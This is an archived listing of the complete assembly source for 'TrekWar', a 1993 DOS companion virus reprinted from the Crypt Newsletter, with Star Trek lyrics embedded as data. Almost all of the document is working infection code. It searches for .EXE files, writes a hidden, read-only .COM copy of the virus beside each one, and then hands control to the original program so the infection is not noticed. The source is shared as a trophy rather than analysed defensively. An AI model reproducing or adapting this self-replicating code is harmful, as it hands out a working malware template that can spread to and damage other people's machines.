home *** CD-ROM | disk | FTP | other *** search
/ Collection of Hack-Phreak Scene Programs / cleanhpvac.zip / cleanhpvac / CRYPT17.ZIP / TREKWAR.ASM < prev    next >
Assembly Source File  |  1993-08-14  |  6KB  |  186 lines

  1. ;TREKWAR virus - we were overjoyed at Crypt Newsletter when Goose showed
  2. ;us his update of CloneWar, TrekWar.  Alert readers will remember ACME,
  3. ;the musical companion based on ZENO, a relative of CloneWar.
  4. ;So here it is!
  5. ;TrekWar
  6. ;┌───────────────────────────────────────────────────────────────────────────┐
  7. ;│  Assembly Source Listing for TrekWar Companion Virus                      │
  8. ;│  Copyright (c) 1993  T.R.E.K.  All Rights Reserved. :)                    │
  9. ;├───────────────────────────────────────────────────────────────────────────┤
  10. ;│ The TrekWar is a simple modification of the Clonewar V2 companion virus;  │
  11. ;│ for all you trekkers out there... For those of you who, heaven forbid, do │
  12. ;│ not know what the words below mean, they are the words to the old series  │
  13. ;│ opening music of Star Trek...                                             │
  14. ;└───────────────────────────────────────────────────────────────────────────┘
  15.  
  16. CSEG            SEGMENT
  17.         ASSUME  CS:CSEG,DS:NOTHING
  18.  
  19.         ORG   100H
  20.  
  21. START:          
  22.         jmp  VIR_BEGIN         ;lets get moving...
  23.  
  24.         db  "",13,10
  25.         db  "",13,10
  26.         db  "Beyond",13,10                           ;blah blah blah
  27.         db  "The rim of the star-light",13,10
  28.         db  "My love",13,10
  29.         db  "Is wand'ring in star-flight",13,10
  30.         db  "I know",13,10
  31.         db  "He'll find in star-clustered reaches",13,10
  32.         db  "Love",13,10
  33.         db  "Strange love a star woman teaches.",13,10
  34.         db  "I know",13,10
  35.         db  "His journey ends never",13,10
  36.         db  "His star trek",13,10
  37.         db  "Will go on forever.",13,10
  38.         db  "But tell him",13,10
  39.         db  "While he wanders his starry sea",13,10
  40.         db  "Remember, remember me."
  41.         db  "",13,10
  42.         db  "",13,10
  43.  
  44.         db  "[TrekWar]  "      ;what the heck, its only a few bytes!?
  45. WILDCARD        DB  "*.EXE",0
  46. FILE_EXT        DB  "COM",0
  47. FILE_FOUND      DB  12 DUP(' '), 0
  48. FILE_CREATE     DB  12 DUP(' '), 0
  49. SEARCH_ATTRIB   DW  17H
  50. NUM_INFECT      DW  0
  51.  
  52.  
  53. My_Cmd:
  54. CMD_LEN         DB  13
  55. FILE_CLONE      DB  12 DUP (' '), 0
  56.  
  57. ;─────────────────────────────────────────────────────────────────────
  58. ; Read all the directory filenames and store as records in buffer. 
  59. ;─────────────────────────────────────────────────────────────────────
  60.  
  61. Vir_begin:
  62.            
  63.            mov    sp,offset STACK_HERE   ;move stack down
  64.            mov    bx,sp
  65.            add    bx,15
  66.            mov    cl,4
  67.            shr    bx,cl
  68.            mov    ah,4ah                 ;deallocate rest of memory
  69.            int    21h
  70.  
  71.            mov    di,OFFSET FILE_CLONE   ;Point to buffer.
  72.            mov    si,OFFSET FILE_FOUND
  73.            mov    cx,12
  74.            rep    movsb
  75.  
  76. Read_dir:      mov    dx,OFFSET WILDCARD     ;file mask for directory search
  77.            mov    cx,SEARCH_ATTRIB
  78.  
  79.            mov    ah,4Eh                 ;find first matching file
  80.            int    21h
  81.  
  82.            jc     EXIT                   ;If empty directory, exit
  83.  
  84. ;────────────────────────────────────────────────────────────────────────
  85.  
  86. Store_name:
  87.  
  88.            mov    di,OFFSET FILE_FOUND   ;Point to buffer.
  89.            mov    si,158                 ;stow the file found in buffer
  90.            mov    cx,12
  91.            rep movsb
  92.  
  93.            mov    di,OFFSET FILE_CREATE  ;Point to buffer.
  94.            mov    si,158
  95.            mov    cx,12
  96.            rep movsb
  97.  
  98.            cld
  99.            mov    di,OFFSET FILE_CREATE
  100.            mov    al,'.'
  101.            mov    cx,9
  102.            repne scasb                   ;find the '.'
  103.  
  104.            mov    si,OFFSET FILE_EXT
  105.            mov    cx,3
  106.            rep movsb                     ;replace the .EXE with .COM
  107.                          ;from buffer
  108.  
  109. ;─────────────────────────────────────────────────────────────────────
  110.  
  111. Check_file:                                  ;does the file exist?
  112.            mov    dx,OFFSET FILE_CREATE
  113.            xor    cx,cx
  114.            mov    ax,3d00h               ;Open file, read only
  115.            int    21h
  116.            jnc    find_next
  117.  
  118. ;──────────────────────────────────────────────────────────────────────
  119. Infect_file:                                 ;create companion routine
  120.                           
  121.            mov    dx,OFFSET FILE_CREATE  ;contains name of "companion"
  122.            xor    cx,cx
  123.            mov    ah,3ch                 ;construct file
  124.            int    21h
  125.            jc     EXIT
  126.  
  127.                          ;Write virus to companion file
  128.            xchg   bx,ax
  129.            mov    cx,(OFFSET END_OF_CODE - OFFSET START)  ;virus length
  130.            mov    dx,OFFSET START
  131.            mov    ah,40h                 ;write to file function
  132.            int    21h                    ;do it
  133.  
  134.                          ;Close file
  135.            mov    ah,3eh                 ;assumes bx still has file handle
  136.            int    21h
  137.  
  138.                          ;Change attributes
  139.            mov    dx,OFFSET FILE_CREATE  ;of created file to
  140.            mov    cx,3                   ;(1) read only and (2) hidden
  141.            mov    ax,4301h
  142.            int    21h
  143.            jmp    prepare_command
  144.  
  145. ;──────────────────────
  146. ;...findnext...
  147. ;──────────────────────
  148. find_next:
  149.           mov     ah, 4fh                ;find next...
  150.           int     21h
  151.           jmp     store_name
  152. ;──────────────────────────────────────────────────────────────────────
  153. Prepare_command:
  154.  
  155.            cld
  156.            mov    di,OFFSET FILE_CLONE
  157.            mov    al,0
  158.            mov    cx,12
  159.            repne scasb                   ;find the end of string \0
  160.  
  161.            mov    al,0Dh                 ;<CR>
  162.            stosb                         ;replace \0 with a <CR>
  163.  
  164.            mov    ax,12                  ;store length of the command
  165.            sub    ax,cx
  166.            mov    CMD_LEN, al
  167.  
  168. ;──────────────────────────────────────────────────────────────────────
  169.  
  170. Exit:
  171.                          ;Run the original program
  172.            mov    si, OFFSET MY_CMD
  173.            int    2Eh                    ;Pass command to command
  174.                          ;interpreter for execution
  175.            mov    ax,4C00H               ;Exit to DOS
  176.            int    21h
  177.  
  178.  
  179. END_OF_CODE     =       $
  180.  
  181. STACK_HERE      EQU   END_OF_CODE + 512
  182.  
  183. CSEG            ENDS
  184.         END      START
  185.  
  186.